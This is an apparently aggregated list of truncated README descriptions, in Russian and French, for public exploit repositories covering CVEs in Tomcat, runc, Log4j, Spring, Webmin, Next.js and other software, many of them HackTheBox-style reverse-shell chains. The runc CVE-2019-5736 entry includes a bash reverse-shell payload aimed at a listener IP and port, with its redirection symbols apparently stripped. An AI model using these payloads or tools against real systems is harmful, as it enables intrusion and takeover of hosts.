CVE-2021-21220

Сначала установите: https://commondatastorage.googleapis.com/chromium-browser-snapshots/index.html?prefix=Winx64/848005/ Версия Chrome: 90.0.4403.0 Установите chrome-win.zip 1. node server.js запустите ./chrome.exe --no-sandbox перейдите на localhost:8888 Обратите внимание, что CVE, на который...

CVE-2019-0232_tomcat_cgi_exploit

Скрипт эксплойта CGI для Apache Tomcat Описание Скрипт на Python, предназначенный для эксплуатации CGI-уязвимостей на серверах Apache Tomcat путем установления обратного shell-соединения. Пример использования Возможности Автоматизированный эксплойт для CGI-уязвимостей Apache Tomcat Настраиваемые...

CVE-2019-5736

🖥️ -h3x0v3rl0rd- ️⃣ CVE-2019-5736 Использование : машина уязвима к CVE-2019-5736, следуйте шагам эксплойта Runc CVE-2019-5736. Загрузите файл main.go, измените полезную нагрузку в файле на: var payload = "!/bin/bash \n bash -i & /dev/tcp/10.10.14.12/1234 0&1" После этого выполните: go build main.go...

Alternative-Approach-Reverse-Shell-Callback-Test-InvokeAI-RCE

Alternative-Approach-Reverse-Shell-Callback-Test-InvokeAI-RCE Альтернативный подход: Reverse Shell и тест обратного вызова Обзор Этот репозиторий содержит альтернативные подходы к созданию полезных нагрузок для уязвимости RCE в InvokeAI CVE-2024-12029, когда внедрение SSH-ключа не срабатывает...

CVE-2019-0708-POC

CVE-2019-0708-POC Preuve de concept fonctionnelle pour CVE-2019-0708, génère un shell distant. Exécutez avec python3, Exemple python3 CVE-2019-0708-windows.py Des versions différentes sont requises pour linux et Windows. Obfusqué pour des raisons évidentes...

POC_react2shell_CVE-2025-55182

Exploitation RCE des composants serveur React de Next.js Exploite CVE-2025-55182 pour exécution de code à distance via pollution de prototype. Auteur : Severian N.K. Description Cet outil exploite une vulnérabilité de pollution de prototype dans les applications Next.js utilisant les composants...

needrestart-privesc-cve-2024-48990

Повышение привилегий needrestart CVE-2024-48990 Этот репозиторий содержит минимальный эксплойт для локального повышения привилегий, нацеленный на уязвимость в needrestart CVE-2024-48990. Уязвимость позволяет выполнение произвольного кода на Perl с правами root путем злоупотребления опцией...

LOGJ4_PocShell_CVE-2021-44228

log4j-shell-poc Доказательство концепции PoC для недавно обнаруженной уязвимости CVE-2021-44228. Недавно была обнаружена новая уязвимость в log4j — библиотеке журналирования на Java, которая очень широко используется в таких проектах, как elasticsearch, minecraft и многих других. В этом репозитор...

htb-sau-exploit-chain

Цепочка эксплойтов HTB Sau — CVE-2023-27163 SSRF + автоматизация RCE в Maltrail Python-скрипт эксплойта, который объединяет CVE-2023-27163 Server-Side Request Forgery в Request Baskets ≤ 1.2.1 с неаутентифицированной уязвимостью удалённого выполнения кода в Maltrail 0.53, доставляя reverse shell...

humane-aipin-ghostlock

GhostLock for Humane AI Pin GhostLock for Humane AI Pin is an open-source, boot-scoped root proof of concept for one exact retail firmware build. It exercises CVE-2026-43499, a Linux rtmutex use-after-free, from an ordinary authorized ADB shell. The runner is deliberately narrow. It checks the...

CVE-2023-422-Chamilo-LMS-RCE

Предварительные требования pip install requests Информация Python-скрипт использует уязвимость CVE-2023-422 для загрузки файла на сервер и использует этот файл для отправки обратной оболочки на слушатель netcat, и всё это можно сделать без аутентификации. Однако для успешного использования...

CVE-2023-27163-AND-Mailtrail-v0.53

Автоматический эксплойт Краткое описание Следующий эксплойт использует уязвимость SSRF в Requests Baskets v1.2.1 для перенаправления внутреннего приложения, работающего на 127.0.0.1:80, на внешнее приложение по пути /pwned. После перенаправления приложения Mailtrail v0.53 будет выполнена команда...

CVE-2022-41544

CVE-2022-41544 Эксплойт-скрипт Этот репозиторий содержит скрипт для эксплуатации уязвимости CVE-2022-41544 в GetSimple CMS. Скрипт выполняет несколько шагов: проверяет наличие уязвимостей, извлекает ключи API, устанавливает cookies, получает CSRF-токены, загружает оболочку и запускает её. Изменен...

Nexus-Repository-Manager3-EL-CVE-2018-16621-https-www.cve.org-CVERecord-id-CVE-2018-16621-

Ce script cible la vulnérabilité d'injection EL dans Nexus Repository Manager 3 CVE-2018-16621, exécution en un clic de l'exploit pour obtenir un shell inverse. Exemple d'exécution : Exécutez le script localement sur la machine attaquante, saisissez l'IP et le port de la cible, ainsi que l'IP et ...

Modified-CVE-2019-15107

CVE-2019-15107 Assurez-vous de modifier manuellement shellperl LHOST et LPORT à la ligne 29 avant exécution. Modifié à partir de : https://github.com/ketlerd/CVE-2019-15107...

Spring4Shell-CVE-2022-22965-POC

Spring4Shell-CVE-2022-22965-POC ghost㉿uchiha:$ ./exploit.py --help usage: exploit.py -h -f FILENAME -p PASSWORD -d DIRECTORY url Spring4Shell RCE Proof of Concept positional arguments: url Target URL options: -h, --help show this help message and exit -f FILENAME, --filename FILENAME Name of the...

CVE-2012-2982-Webmin-Exploit

Exploit d'exécution de commandes à distance Webmin 1.590 CVE-2012-2982 Aperçu Ce dépôt contient un exploit Proof-of-Concept PoC pour CVE-2012-2982 , une vulnérabilité d'exécution de commandes à distance authentifiée affectant Webmin versions 1.590 et antérieures. La vulnérabilité réside dans le...

CVE-2026-52617

CVE-2026-52617 — @sworddut/mcp-ffmpeg-helper: OS command injection via ffmpeg tool options runFFmpegCommand passes a string built from MCP tool parameters to spawn…, shell: true , so shell metacharacters in options, format, codec, pixelFormat or extraOptions execute on the host running the server...

CVE-2018-16167

Ordre d'installation et d'exécution 0. Installation de LogonTracer Téléchargez la version 1.2.0 de logontracer, dans laquelle une vulnérabilité a été découverte, depuis dockerhub. $docker pull jpcertcc/docker-logontracer:v1.2.0 1. Exécution de LogonTracer Montez le conteneur avec la commande...

CVE-2023-38831_Exploit

CVE-2023-38831 Preuve de Concept d'Exploit Aperçu Ce dépôt contient un script Python qui démontre une preuve de concept PoC d'exploit pour CVE-2023-38831. Cet exploit exploite une vulnérabilité dans des mécanismes spécifiques de traitement de fichiers pour exécuter une charge utile de reverse she...